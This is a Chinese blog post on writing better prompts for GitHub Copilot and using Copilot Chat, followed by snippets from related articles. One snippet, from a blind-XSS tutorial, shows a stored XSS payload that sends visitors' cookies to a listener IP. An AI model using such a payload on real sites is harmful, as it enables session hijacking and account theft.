如何更好的使用Copilot

news2025/1/10 16:06:38

Copilot从诞生到现在过去了挺长时间了,大家对Copilot的评价算是褒贬不一吧。有些人觉得Copilot高效且神奇,可以对自己的工作大大提效;有些觉得也就那样,为什么要花那么多钱做这个事情,钱它不香吗?

从最开始未收费的时候,我就有使用Copilot,当我开始使用Copilot时,我有些失望和不屑,因为我没有收到预期的结果。就像任何新兴技术一样,总有一条学习曲线。因此,当copilot不能生成我们想要的输出时,我们肯定会产生不信任的感觉。举个例子,我让Copilot来帮我解决leetcode的问题(因为Copilot的训练机制,很多leetcode的题目,已经被它训练到了,例如:两数之和、二叉树翻转等等,这些题目不好作为参考),它总是不能给我一个答案,而且可能会差很多。

来到算法题吧

前提:不能使用已有旧题目,因为可能该题目在copilot的训练集中。我使用的测试题目是leetcode的周赛题目,直接使用此题目做实验。从讨论和题解可以看出,这个题目很新,对于copilot来说是未知的一个题目。

测试1:直将题目给Copilot来做,生成的代码是不对的,是不符合要求的。

测试2:我通过demo的方式给出输入和输出结果,它会增加处理,但是最终的结果还是不对的。

测试3:我将如何处理的思路给出,可以得到通过的结果。

通过以上的例子,我想说明的是,合理的Prompt会拿到想要结果的前提,所以有些时候我们对结果的不满意,可能是使用上有些不合理,合理的Prompt才是得到结果的关键。

Copilot是什么?

Copilot的核心是一个基于GPT-3的大规模预训练模型,它可以通过大量的代码片段进行训练,从而学习到代码的语法、语义、结构等信息,然后在编写代码时,根据上下文,生成代码片段,从而提供代码建议。

建议阅读: https://arxiv.org/pdf/2107.03374.pdf.

以vscode为例,Copilot编辑器扩展将评论和代码发送到Copilot服务,然后该服务使用OpenAI Codex来合成和建议代码。使用Copilot,我们所要做的就是编写一个函数名,然后查看生产的结果,中间需要我们对结果进行判断和调试。

合理的Prompt engineering

其实Prompt engineering对于Copilot、ChatGPT等人工智能同样都是很关键的,下面介绍一下如何合理的prompt来让Copilot更符合我们的需求:

使用高级任务描述来描述

使用文字描述清楚,你需要做什么事情。常见于比如文件的开头,或者方法的开头,描述这个文件主要在做什么事情。例如:

用示例来引导

使用demo的示例,来引导copilot来完成你想做的事情,可以参考leetcode提供的示例,如果可以的话,可以提供尽可能多的示例,示例越多,拿到的结果越好。

如果是使用的第三方库,可以将如何使用的例子贴出来,copilot可以帮你完成相应的工作。从例子中学习不仅对人类有用,对人工智能配对程序员也有用。

用上下文信息指导

copilot会阅读你上下文的信息,例如你在该方法中,都是处理sql或者日期的方法,copilot会推测你需要的相关方法和代码。

分步处理,prompt简单而具体

如果你想将一个主要目标传递给Copilot,那就要阐明实现该目标所需要的逻辑和步骤。就比如菜谱,如果你的目标是做一道西红柿炒蛋。你就要分步骤去执行:

  1. 将西红柿洗净后切成块,鸡蛋打入碗中搅拌均匀。

  2. 在锅中加油,油热后将打好的鸡蛋倒入锅中翻炒,待其凝固并呈金黄色时即可捞出备用。

  3. 锅中再加一些油,放入切好的西红柿块进行翻炒,然后加盖憩一会儿。

  4. 待西红柿变软之后可以按自己口味添加一些盐、料酒和糖来调味。

  5. 最后将之前准备好的炒过的蛋倒回锅中与西红柿混合均匀,并撒上少许葱花就可以出锅了。

使用Copilot同样如此,Copilot在分解事物时能更好地理解你的目标。让GitHub Copilot在每一步之后生成代码,而不是要求它一次生成一堆代码。

例如在刚刚leetcode题目中给出的解题步骤。

保熟黑科技

多次实验Prompt的技巧

说话是一门艺术,同样Prompt也是一门艺术,是需要练习和实践的。因此,如果你第一次尝试时没有收到你想要的东西,请按照上面的最佳实践重新开始提示。

例如,你写个注释:

// 随便写一点代码吧

copilot指定懵逼,它根本不知道你要做什么。这时候需要更换个思路,给它一个明确的提示

// 随便写一点代码吧,关于二叉树的前序遍历

编辑器打开几个相关的Tabs

Copilot使用了一种称为相邻选项卡的技术,允许AI对程序员通过处理IDE中打开的所有文件而不仅仅是你正在处理的单个文件来将你的代码上下文化。但是不能保证Copilot会将所有打开的文件视为你代码的必要上下文。

备注:真的很好用,talk is cheap, show me the code。

还是第一个leetcode的例子,在我没有打开test.js的文件时,Copilot给出的是第一个方案,在我打开test.js这个文件后,Copilot会读取相邻文件的上下文来做提示,真的很好使

良好的编程习惯

  • 保持自己良好的编程习惯,Copilot会根据你的代码风格生产相关代码。如果你一直使用驼峰式命名变量,Copilot 将建议驼峰式命名变量。

  • 运行单元测试、集成测试和任何其他形式的测试代码

  • 保持良好的codereview习惯

Copilot Chat

Copilot Chat 是一个基于 OpenAI GPT 模型的聊天机器人,它可以与用户进行自然语言交互,并根据用户的输入提供相应的回复。Copilot Chat 可以用于各种场景,可以帮助用户解决各种问题,提高工作效率。

主要功能有:

  1. /explain 解释代码

  2. /ext 询问VS代码扩展开发

  3. /fix 为所选代码中的问题提出修复方案。

  4. /help GitHub Copilot 帮助

  5. /simplify 简化选中的代码

  6. /tests 为选中的代码生成单元测试

  7. /vscode 询问关于 VS Code 的问题

  8. /clear 清空当前对话

主要介绍我经常使用的功能:

解释代码

接别人的代码永远是不可避免的,阅读代码又是一个比较耗时的过程,通过Copilot chat帮你阅读很高效。选中文件中的代码,直接在对话框询问即可,方便高效:

询问问题

copilot chat可以理解为帮我们prompt好的一个专门用于编程的助手,在ChatGTP关于编程方便的内容,可以直接询问Copilot,这样减少了跳入跳出,同时可以高效的解决问题。

优化代码

这个是我很喜欢的一个功能,可以结合代码检测工具,很好的用来优化代码,此处内容可以参考之前的文章:

代码质量规范测量_sonarqube圈复杂度-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1195710.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ECharts修改tooltip样式

tooltip不支持rich&#xff0c;formatter返回的是html片段&#xff0c;可以在这个返回的片段里面增加类名。以达到更改tooltip文字格式的效果。所以&#xff0c;直接写html的样式就可以 静态数据 formatter: (params) > {console.log(params, params)return <h2 style&q…

Azure 机器学习 - 使用 Jupyter Notebook 探索 Azure 机器学习

目录 一、前言二、创建跳转盒 (VM)为 VM 启用 Azure Bastion 三、创建工作区四、连接到 VM 桌面五、连接到机器学习工作室允许工作室访问存储 六、停止计算实例七、清理资源 本文介绍如何创建并连接到安全的 Azure 机器学习工作区。 本文中的步骤使用 Azure 机器学习托管虚拟网…

线性代数-Python-05:矩阵的逆+LU分解

文章目录 1 矩阵的逆1.1 求解矩阵的逆 2 初等矩阵2.1 初等矩阵和可逆性 3 矩阵的LU分解3.1 LU分解的实现 1 矩阵的逆 1.1 求解矩阵的逆 def inv(A):if A.row_num() ! A.col_num():return Nonen A.row_num()"""矩阵A单位矩阵"""ls LinearSyste…

无梯度强化学习:使用遗传算法进化代理

一、说明 我想提高我的强化学习技能。由于对这个领域一无所知&#xff0c;我参加了一门课程&#xff0c;接触到了 Q 学习及其“深度”等效项&#xff08;深度 Q 学习&#xff09;。在那里我接触到了 OpenAI 的Gym&#xff0c;他们有多种环境可供代理玩耍和学习。 课程仅限于 De…

OpenCV-Python小应用(八):判断是否有深色线条

OpenCV-Python小应用&#xff08;八&#xff09;&#xff1a;判断是否有深色线条 前言前提条件相关介绍实验环境判断是否有深色线条思路一&#xff1a;通过图像梯度直方图判断思路二&#xff1a;通过图像灰度值变化判断 参考 前言 由于本人水平有限&#xff0c;难免出现错漏&am…

C++多态特性

&#x1f388;个人主页:&#x1f388; :✨✨✨初阶牛✨✨✨ &#x1f43b;强烈推荐优质专栏: &#x1f354;&#x1f35f;&#x1f32f;C的世界(持续更新中) &#x1f43b;推荐专栏1: &#x1f354;&#x1f35f;&#x1f32f;C语言初阶 &#x1f43b;推荐专栏2: &#x1f354;…

C++进阶-STL queue容器的简单认识

STL queue容器的简单认识 queue容器的基本概念queue容器的构造函数queue容器的赋值操作queue容器的数据存取queue容器的大小操作 queue容器的基本概念 queue是一种 先进先出 (First In First Out, FIFO)的数据结构&#xff0c;它有两个出口 队列容器允许从一端新增元素&#…

Azure 机器学习 - 如何使用模板创建安全工作区

目录 先决条件了解模板配置模板连接到工作区疑难解答错误&#xff1a;Windows 计算机名的长度不能超过 15 个字符&#xff0c;并且不能全为数字或包含以下字符 本教程介绍如何使用 [Microsoft Bicep]和 [Hashicorp Terraform]模板创建以下 Azure 资源&#xff1a; Azure 虚拟网…

【chat】4: ubuntu20.04:数据库创建:mysql8 导入5.7表

【chat】3: ubutnu 安装mysql-8 并支持远程访问 已经支持 8.0的SQLyog 远程访问:大神2021年的文章:sql是5.7的版本,我使用的ubuntu20.04,8.0版本:chat数据库设计 C++搭建集群聊天室(七):MySQL数据库配置 及项目工程目录配置 User表,以id 唯一标识 Friend 表,自己的id…

Run highlighted commands using IDE

背景 有时候在 IEDE 的命令行中输入命令&#xff0c;会弹出如下提示&#xff0c;或者命令被着了背景色了&#xff0c;是怎么回事&#xff1f; 其实就是提示你可以使用 IDEA 的功能替代命令行。比如使用ctrlenter或cmdenter之后使用的就是 IDEA 里的功能 直接enter运行&#x…

YOLOv5改进 | 添加CA注意力机制 + 增加预测层 + 更换损失函数之GIoU

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。在小目标场景的检测中&#xff0c;存在远距离目标识别效果差的情形&#xff0c;本节课提出一种基于改进YOLOv5的小目标检测方法。首先&#xff0c;在YOLOv5s模型的Neck网络层融合坐标注意力机制&#xff0c;以提升模型的特…

HTML点击链接强制触发下载

常见网页中会有很多点击链接即下载的内容&#xff0c;以下示范一下如何实现 <a href"文件地址" download"下载的文件名字&#xff08;不包括后缀&#xff09;">强制下载</a> 下面举个例子&#xff1a; <a href"./image/test.jpg"…

【我悟了】异常断电导致的文件系统变为只读——案例分析

背景 应领导要求&#xff0c;临时支持其他项目上遇到的一个问题。由于该问题属于未涉及的知识领域&#xff0c;从接触到最终给出方案&#xff0c;也花了我不少精力。在此进行分享&#xff0c;主要介绍在面对不熟悉的问题领域时&#xff0c;分析问题的思路。希望能够给年轻的同学…

小心你的大模型被基准评估坑了,模型直接傻掉!人大高瓴揭秘大模型作弊

作者 | 谢年年、Python 从 ChatGPT 横空出世到国内外「百模大战」打响以来&#xff0c;我们隔三差五就会看到某某大模型又超越多个模型&#xff0c;刷新SOTA&#xff0c;成功屠榜的消息。 这些榜单都是基于一系列高质量的评估基准创立的&#xff0c;从不同的方面比较LLMs的性能…

【VastbaseG100】 The password has been expired, please change the password.

NOTICE: The password has been expired, please change the password. vsql ((Vastbase G100 V2.2 (Build 10) Release) compiled at 2022-09-18 13:48:47 commit 9104 last mr ) 非SSL连接&#xff08;安全性要求高时&#xff0c;建议使用SSL连接&#xff09; 输入 "h…

xss 盲打

XSS 盲打 为什么教盲打&#xff0c;是因为处于被动&#xff0c;要等待受害者触发 1.利用存储型XSS 先将代码写入留言。同时kali开启端口监听&#xff08;下面IP是kali的&#xff09; <script>document.write(\<img src\"http://10.9.47.79/\document.cookie\\&qu…

Python开源项目RestoreFormer(++)——人脸重建(Face Restoration),模糊清晰、划痕修复及黑白上色的实践

有关 python anaconda 及运行环境的安装与设置请参阅&#xff1a; Python开源项目CodeFormer——人脸重建&#xff08;Face Restoration&#xff09;&#xff0c;模糊清晰、划痕修复及黑白上色的实践https://blog.csdn.net/beijinghorn/article/details/134334021 1 RESTOREF…

3.1 IDA Pro编写IDC脚本入门

IDA Pro内置的IDC脚本语言是一种灵活的、C语言风格的脚本语言&#xff0c;旨在帮助逆向工程师更轻松地进行反汇编和静态分析。IDC脚本语言支持变量、表达式、循环、分支、函数等C语言中的常见语法结构&#xff0c;并且还提供了许多特定于反汇编和静态分析的函数和操作符。由于其…

程序员的护城河:技术、创新与软实力的完美融合

作为IT行业的从业者&#xff0c;我们深知程序员在保障系统安全、数据防护以及网络稳定方面所起到的重要作用。他们是现代社会的护城河&#xff0c;用代码构筑着我们的未来。那程序员的护城河又是什么呢&#xff1f;是技术能力的深度&#xff1f;是对创新的追求&#xff1f;还是…

Linux 基于 LVM 逻辑卷的磁盘管理【简明教程】

一、传统磁盘管理的弊端 传统的磁盘管理&#xff1a;使用MBR先对硬盘分区&#xff0c;然后对分区进行文件系统的格式化最后再将该分区挂载上去。 传统的磁盘管理当分区没有空间使用进行扩展时&#xff0c;操作比较麻烦。分区使用空间已经满了&#xff0c;不再够用了&#xff…